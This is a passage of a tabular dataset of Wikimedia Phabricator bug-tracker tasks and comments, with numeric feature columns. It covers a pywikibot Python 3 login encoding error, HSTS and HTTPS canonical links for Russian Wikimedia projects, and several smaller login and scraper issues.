Should I open another task for that?",,,1425827697,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,17.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.880952380952381,0.8333333333333334,"Sorry, It seems that I missed this -- seemingly related -- warning message when importing pywikibot:

``CODE`CODE`CODE``
(Although the edit was saved.)
Should I open another task for that?"
422868,"Can't login. TypeError: must be str, not bytes.",This might be interesting: https://mail.python.org/pipermail/python-list/2014-November/693894.html,,,1425827253,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,This might be interesting: URL
422867,"Can't login. TypeError: must be str, not bytes.",Oh I usually look at the end of a stack trace and work my way up… overlooked the first line. That error might be related but only in a sense that Python 3 changed how `str` works. Unfortunately that error line isn't really helpful (except that it occurred somewhere else).,,,1425826573,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,18.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,9.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,5.0,14.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,0.8596491228070176,Oh I usually look at the end of a stack trace and work my way up… overlooked the first line. That error might be related but only in a sense that Python 3 changed how CODE works. Unfortunately that error line isn't really helpful (except that it occurred somewhere else).
422865,"Can't login. TypeError: must be str, not bytes.","So the 
```
exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
```
from the report I linked is unrelated? I was wondering about that (but also misread one of them as stdin).

I didn't want to say there that Python 3 support is ""partial"", but rather that the support for is isn't as matured/in longtime use as for 2.7.


",,,1425826208,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,10.0,16.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,7.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,6.0,16.0,3.0,1.0,3.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.1857142857142855,0.7,"So the 
``CODE``
from the report I linked is unrelated? I was wondering about that (but also misread one of them as stdin).

I didn't want to say there that Python 3 support is ""partial"", but rather that the support for is isn't as matured/in longtime use as for 2.7.


"
422859,"Can't login. TypeError: must be str, not bytes.","Change 195086 had a related patch set uploaded (by XZise):
[FIX] Win32 UI: Don't encode in Python 3

[[https://gerrit.wikimedia.org/r/195086]]
",,,1425825041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.125,0.84375,"Change 195086 had a related patch set uploaded (by XZise):
[FIX] Win32 UI: Don't encode in Python 3

[[GERRIT_URL]]
"
422858,"Can't login. TypeError: must be str, not bytes.","With Python 3 the `sys.stdout` etc. streams are now using `str` (which is basically `unicode` in Python 2). But in Python 2 it requires `bytes` so it's encoding the string as UTF-8 bytes.

Now the Unicode support in Windows is always a bit problematic. I don't have a Windows OS available at the moment to test that quickly, but one way to fix it would be not to encode it. I'll provide a patch shortly and would appreciate if you test it (especially with non ASCII characters).

Apart from that (referencing to the discussion @Sitic linked to) I don't think that Python 3 is only partially supported. I basically only use it with Python 3.4.2 and got not problems (but on Linux so I can't encounter this particular bug).",,,1425824807,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.5,3.0,3.5,1.0,0.0,0.0,0.5,2.5,2.5,0.0,2.0,0.0,3.0,0.5,10.0,11.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,5.5,0.5,3.5,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,7.5,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,14.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,7.5,11.5,7.0,0.0,0.0,0.0,7.5,0.0,0.5,1.5,0.0,1.5,0.0,0.0,1.0,3.8355263157894735,0.7302631578947368,"With Python 3 the CODE etc. streams are now using CODE (which is basically CODE in Python 2). But in Python 2 it requires CODE so it's encoding the string as UTF-8 bytes.

Now the Unicode support in Windows is always a bit problematic. I don't have a Windows OS available at the moment to test that quickly, but one way to fix it would be not to encode it. I'll provide a patch shortly and would appreciate if you test it (especially with non ASCII characters).

Apart from that (referencing to the discussionSCREEN_NAME linked to) I don't think that Python 3 is only partially supported. I basically only use it with Python 3.4.2 and got not problems (but on Linux so I can't encounter this particular bug)."
422855,"Can't login. TypeError: must be str, not bytes.","Was also reported [here](https://de.wikipedia.org/wiki/Wikipedia_Diskussion:Pywikibot#Probleme_beim_Betrieb_des_bots).

@Dalba could you try using the command prompt instead of IDLE?",,,1425824334,,PHID-USER-5ykrdpd74vetqapogso4,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.611111111111111,1.0,"Was also reported [here](URL
SCREEN_NAME could you try using the command prompt instead of IDLE?"
91875,Http error encountered when scraping http://www.tandfonline.com/ urls with native scraper,"HTTP error with message ""unable to set cookie"" in response when trying to scrape http://www.tandfonline.com/ urls (like http://www.tandfonline.com/doi/abs/10.1080/13534645.2011.605573) with native scraper.",Needs Triage,90.0,1425730473,1433150952.0,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-f5zxuc36v5wjc5xzmiif,task_description,resolved,True,c3,1,True,True,True,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.84,"HTTP error with message ""unable to set cookie"" in response when trying to scrape URL urls (like URL with native scraper."
91196,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,"In an ideal world, unregistered users wouldn't need to load Special:CentralAutoLogin/checkLoggedIn on every single page view (e.g. `https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=itwikiquote&proto=https`). ",Needs Triage,90.0,1425226974,1544417535.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-darr4v3zykotx2hsi5bu,task_description,duplicate,True,c3,1,True,False,False,-18,True,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"In an ideal world, unregistered users wouldn't need to load Special:CentralAutoLogin/checkLoggedIn on every single page view (e.g. CODE). "
419123,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,Alright... whoever can provide such numbers...,,,1425301666,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-darr4v3zykotx2hsi5bu,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,0.875,Alright... whoever can provide such numbers...
419106,Reduce calls to Special:CentralAutoLogin/checkLoggedIn,"Before declaring a priority for this, I'd like to hear some numbers for how many requests this is currently generating. Doesn't need to be an exact figure.",,,1425295732,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-darr4v3zykotx2hsi5bu,task_subcomment,,True,c3,1,True,,,-18,True,6.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,9.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,9.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,4.03125,0.875,"Before declaring a priority for this, I'd like to hear some numbers for how many requests this is currently generating. Doesn't need to be an exact figure."
91085,Login page should show collection specific message,"When not logged in and the user clicks login / sign up through the CTA they see a message above the login ""Add articles to a list for sharing or tracking changes""

[[ https://trello.com/c/S4C18bTS/71-login-page-should-show-collections-specific-message | name ]]",Needs Triage,90.0,1425060250,1426726477.0,PHID-USER-izqileijt5niumtehazh,True,PHID-USER-izqileijt5niumtehazh,True,PHID-TASK-jezjcvxp6wgw3ba4g2n4,task_description,resolved,True,c3,1,True,True,True,-18,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,10.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,3.4523809523809526,0.8333333333333334,"When not logged in and the user clicks login / sign up through the CTA they see a message above the login ""Add articles to a list for sharing or tracking changes""

[[ URL | name ]]"
91005,A loggedout user attempting to add to a collection is referred to login or create account so that they can login,"
==== Acceptance Criteria ====


--------------------------
**Trello card**: [[ https://trello.com/c/CdD1LGxi/2-a-loggedout-user-attempting-to-add-to-a-collection-is-referred-to-login-or-create-account-so-that-they-can-login | CdD1LGxi ]]

 * column: Must have
",Needs Triage,90.0,1424999558,1426283676.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-33uaq4ge7wywzlihpnuy,task_description,resolved,True,c3,1,False,False,True,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.085714285714286,0.5428571428571428,"
==== Acceptance Criteria ====


--------------------------
**Trello card**: [[ URL | CdD1LGxi ]]

 * column: Must have
"
426251,A loggedout user attempting to add to a collection is referred to login or create account so that they can login,"Looks done to me, plus in `duplicated elsewhere` column so closing.",,,1426283676,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-33uaq4ge7wywzlihpnuy,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,33.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"Looks done to me, plus in CODE column so closing."
90527,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Since Russian Wikimedia projects are HTTPS only and have HSTS enabled, we should set its wgCanonicalServer to HTTPS, so that Bing will update the links to HTTPS.

[1] https://www.bing.com/search?q=site%3aru.wikipedia.org

>>! In T91352#1103471, @Eloquence wrote:
> A Russian Wikipedia community member implemented a JavaScript redirect to send Russian Wikipedia traffic to HTTPS in August 2014, so most Russian Wikipedia traffic has been going over HTTPS since last year. A similar hack was in place in Russian Wikinews. The resulting configuration was vulnerable to man-in-the-middle attacks, as it depended on users first loading the insecure version. It also caused a major performance hit for users due to the double-loading. In consultation with Russian Wikimedia community members, consistent with our long term HTTPS rollout objectives, and consistent with the pre-existing request to participate in the HTTPS beta, we superseded the hack with a server-side redirect and HSTS as a secure and consistent default configuration for all Russian language projects.
",Needs Triage,90.0,1424751765,1424882266.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-w25swvhffe4axtast3v4,task_description,resolved,True,c3,1,True,True,True,-19,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,28.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,12.0,12.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.925,0.825,"Since Russian Wikimedia projects are HTTPS only and have HSTS enabled, we should set its wgCanonicalServer to HTTPS, so that Bing will update the links to HTTPS.

[1] URL

QUOTE
QUOTE
"
420670,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Ok, as there doesn't seem to be a ticket about HSTS I'm using this one instead.",,,1425466605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,5.0,5.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.2,1.0,"Ok, as there doesn't seem to be a ticket about HSTS I'm using this one instead."
417067,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,">>! In T90527#1065142, @Nemo_bis wrote:
>> Since Russian Wikimedia projects are HTTPS only and have HSTS enabled
> 
> Can you mention the commit which made them so, please?

Sorry, I don't know! @JanZerebecki told me to update the canonical links for all Russian projects. I also checked the response headers, and indeed they were HTTPS only.
",,,1424882161,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,10.0,5.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,22.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,5.0,15.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.024390243902439,0.7560975609756098,"QUOTE
QUOTE
QUOTE
QUOTE

Sorry, I don't know!SCREEN_NAME told me to update the canonical links for all Russian projects. I also checked the response headers, and indeed they were HTTPS only.
"
417049,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Change 192502 merged by jenkins-bot:
Point rel=canonical to HTTPS for all ru projects

[[https://gerrit.wikimedia.org/r/192502]]",,,1424880298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,False,,,-19,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6,0.92,"Change 192502 merged by jenkins-bot:
Point rel=canonical to HTTPS for all ru projects

[[GERRIT_URL]]"
416931,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"> Since Russian Wikimedia projects are HTTPS only and have HSTS enabled

Can you mention the commit which made them so, please?",,,1424858749,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,"QUOTE

Can you mention the commit which made them so, please?"
416628,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Change 192502 had a related patch set uploaded (by Chmarkine):
Point rel=canonical to HTTPS for all ru projects All Russian Wikimedia projects are HTTPS only, so change the canonical links to have search engines update their indexes.

[[https://gerrit.wikimedia.org/r/192502]]

#patch-for-review",,,1424806591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,False,,,-19,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,4.087719298245614,0.8245614035087719,"Change 192502 had a related patch set uploaded (by Chmarkine):
Point rel=canonical to HTTPS for all ru projects All Russian Wikimedia projects are HTTPS only, so change the canonical links to have search engines update their indexes.

[[GERRIT_URL]]

#patch-for-review"
416279,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,https://gerrit.wikimedia.org/r/192502/,,,1424754141,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,GERRIT_URL/
90330,GuidedTour uses synchronous XMLHttpRequest,https://github.com/wikimedia/mediawiki-extensions-GuidedTour/blob/fd80f6e7a3/modules/ext.guidedTour.lib/ext.guidedTour.lib.main.js#L124,Needs Triage,90.0,1424498772,1424718836.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-4dqygmko7i6qnjivuses,task_description,duplicate,True,c3,1,True,False,True,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
